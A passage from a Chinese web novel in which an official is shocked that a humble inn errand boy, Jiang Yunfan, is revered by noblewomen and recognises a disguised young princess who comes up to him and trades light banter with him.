这个什么江公子,客栈的跑腿小厮,
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为什么所有**人物都认识他,而且一个个还对他如此尊敬!
侯府小姐与尚书千金便罢了,为何那性格孤高的归雁先生亦是如此?
这小子,他到底是何方神圣!
王承福的脑海中仿佛有一道惊雷炸响,可就在他看清了沈远修身后的人时,惊雷声停止了,甚至可以说,整个世界都安静了。
只见那一身儒袍的俊美小书童,在被沈远修宽厚的身体堵住去路后,默默从旁边绕了出来。
王承福一眼看清楚她的模样。
只一瞬间,他的时间好似陷入了凝滞,一道回忆汹涌袭来。
他认得对方!
几年前,新官上任的他曾受邀前往怀南城面见王爷,随后在南毅王府,有幸见过这位一次……
此时此刻,那小书童的脚步并没有停下。
她继续迈步从青衣女子和黑衣女子身边越过,最后缓缓停在江云帆跟前。
其实江云帆倒挺奇怪的。
他搞不明白,为何自己这位财神爷每次出门,都会特地乔装打扮一番,不是面纱遮脸,就是扮作侍童。
不过无论如何改变不了的,是那高挑修长的身姿,还有惊世骇俗的容颜。
唯独……胸前的规模小了不少。
也不知什么缘由,秦七汐此刻正满脸专注地盯着江云帆,那嘴角好像克制不住,不断地往上勾起,努力压下之后,却还是不受控制。
江云帆自然注意到这一点,开口便问:“秦小姐是在笑我?”
“没有。”
小郡主立马严肃,正色道:“我只是……想起高兴的事情!”
“呵……”
好好好,这样子模仿是吧?
……